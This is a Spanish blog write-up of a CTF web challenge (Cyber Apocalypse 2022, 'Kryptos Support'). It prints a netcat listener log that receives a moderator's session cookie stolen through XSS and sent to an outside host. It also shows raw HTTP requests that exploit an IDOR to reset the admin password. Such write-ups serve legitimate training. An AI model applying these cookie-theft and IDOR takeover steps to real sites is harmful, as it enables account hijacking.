My Profile Photo

[L]ord [R]NA


Father, son and husband, Red Teamer, Developer, Chess Player, Bitter Truths Distiller, Ex [SHNI/H-Sec] Staff Member, Amateur Astronomer, RedTeamRD Staff/Co-Founder


Disclaimer [ES]

Disclaimer [EN]


Kryptos Support (Cyber Apocalypse CTF 2022)

Kryptos Support es el challenge más fácil de nivel web dentro del Cyber Apocalypse CTF 2022. Inicia con un formulario para reportar errores con respecto a Kryptos Vaults y una pantalla de login, la cual en un inicio no podemos utilizar debido a la falta de credenciales. Este Challenge cuenta con dos vulnerabilidades, las cuales nos permiten obtener acceso como administrador a la aplicación web, a través de un Insecure Direct Object Reference.

Solución:

Iniciamos con el ingreso a la página web habilitada para explotar el challenge. Y en esta nos encontramos un formulario, a través del cual podemos reportar errores en nuestro Kryptos Vault, y un link de nombre backend donde podemos, en caso de obtener credenciales, iniciar sesión.

Página de Inicio de Kryptos Support

En el mismo, al poder realizar reportes de errores en nuestro Kryptos Vault, procedemos a forzar un Cross-Site Script. Obteniendo así, la cookie de un moderador de la aplicación web.

HTML Tag IMG, para forzar un Cross-Site Script:

Cross-Site Script ingresado a través del HTML Tag IMG

Cookie recibida a través de un puerto en escucha:

lordrna@anotherguypc:~$ nc -nlvp 5555
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 138.68.189.179.
Ncat: Connection from 138.68.189.179:34060.
GET /?c=session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI5ODU4NzR9.ehbckQjDyj7M64DXZpZg16llhz_LueHs_huOcFAR4rM HTTP/1.1
Host: lordrna.com:5555
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4950.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:1337/
Accept-Encoding: gzip, deflate

Ya colocada la cookie, procedemos a acceder al link para iniciar sesion, pero este no nos redirecciona, por lo que procedemos a revisar el script encargado de manejar el login, que se encuentra en /static/js/login.js.

Script encargado de manejar el inicio de sesión:

(function($) {
    $.fn.catchEnter = function(sel) {
        return this.each(function() {
            $(this).on('keyup', sel, function(e) {
                if (e.keyCode == 13)
                    $(this).trigger("enterkey");
            })
        });
    };
})(jQuery);


$(document).ready(function() {
    $("#login-btn").on('click', auth);
    $("#username").catchEnter().on('enterkey', auth);
    $("#password").catchEnter().on('enterkey', auth);

});

function toggleInputs(state) {
    $("#username").prop("disabled", state);
    $("#password").prop("disabled", state);
    $("#login-btn").prop("disabled", state);
}

async function auth() {

    toggleInputs(true);

    let card = $("#resp-msg");
    card.hide();

    let user = $("#username").val();
    let pass = $("#password").val();

    if ($.trim(user) === '' || $.trim(pass) === '') {
        toggleInputs(false);
        card.text("Please input credentials first!");
        card.show();
        return;
    }

    const data = {
        username: user,
        password: pass
    };

    await fetch(`/api/login`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(data),
        })
        .then((response) => response.json()
            .then((resp) => {
                if (response.status == 200) {
                    card.text(resp.message);
                    card.show();
                    window.location.href = '/tickets';
                    return;
                }
                card.text(resp.message);
                card.show();
            }))
        .catch((error) => {
            card.text(error);
            card.show();
        });

    toggleInputs(false);
}

En el mismo podemos notar que cuando el inicio de sesión sea un inicio válido, este nos redireccionará a /tickets, por lo que procedemos a acceder a la ruta indicada.

Dashboard con los tickets abiertos a través del formulario:

Dashboard de Tickets accedido desde la cuenta moderator

Ya en este dashboard, nos percatamos de un link de nombre settings el cual permite realizar el cambio de contraseñas a través de un formulario.

Formulario a través del cual se puede realizar un cambio de contraseña:

Formulario para cambio de contraseña

Procedemos a realizar un cambio de contraseña para validar el comportamiento del mismo

Request para realizar un cambio de contraseña:

POST /api/users/update HTTP/1.1
Host: 138.68.189.179:31814
Content-Length: 32
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://138.68.189.179:31814
Referer: http://138.68.189.179:31814/settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI5ODU4NzR9.ehbckQjDyj7M64DXZpZg16llhz_LueHs_huOcFAR4rM
Connection: close

{"password":"pass1","uid":"100"}

Respuesta del servidor:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 58
ETag: W/"3a-FVq0A9EgBgYFFtqQ5wrPzmQyNRc"
Date: Thu, 19 May 2022 18:51:58 GMT
Connection: close

{"message":"Password for moderator changed successfully!"}

Del mensaje de respuesta pudimos obtener una información muy importante. En caso de que el usuario exista, nos ira quién es el dueño del uid enviado. Además, en este punto, al ver que en la solicitud se envía el uid del usuario, nos surge la teoría de “que sucedería si enviamos el uid que posiblemente sea del administrador”, el cual procedimos a enviar y recibimos un mensaje satisfactorio.

Request para realizar un cambio de contraseña a la cuenta de administrator:

POST /api/users/update HTTP/1.1
Host: 138.68.189.179:31814
Content-Length: 30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://138.68.189.179:31814
Referer: http://138.68.189.179:31814/settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI5ODU4NzR9.ehbckQjDyj7M64DXZpZg16llhz_LueHs_huOcFAR4rM
Connection: close

{"password":"pass1","uid":"1"}

Respuesta satisfactoria del servidor, revelandonos el usuario admin:

Password cambiado para el usuario admin:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 54
ETag: W/"36-RArwqjccHL1q7o0owZa+anWnvtw"
Date: Thu, 19 May 2022 18:53:23 GMT
Connection: close

{"message":"Password for admin changed successfully!"}

Al iniciar sesión con la cuenta admin y la contraseña a la cual cambiamos la original, obtenemos acceso a la flag, completando así el reto.

Flag del reto accedido desde la cuenta admin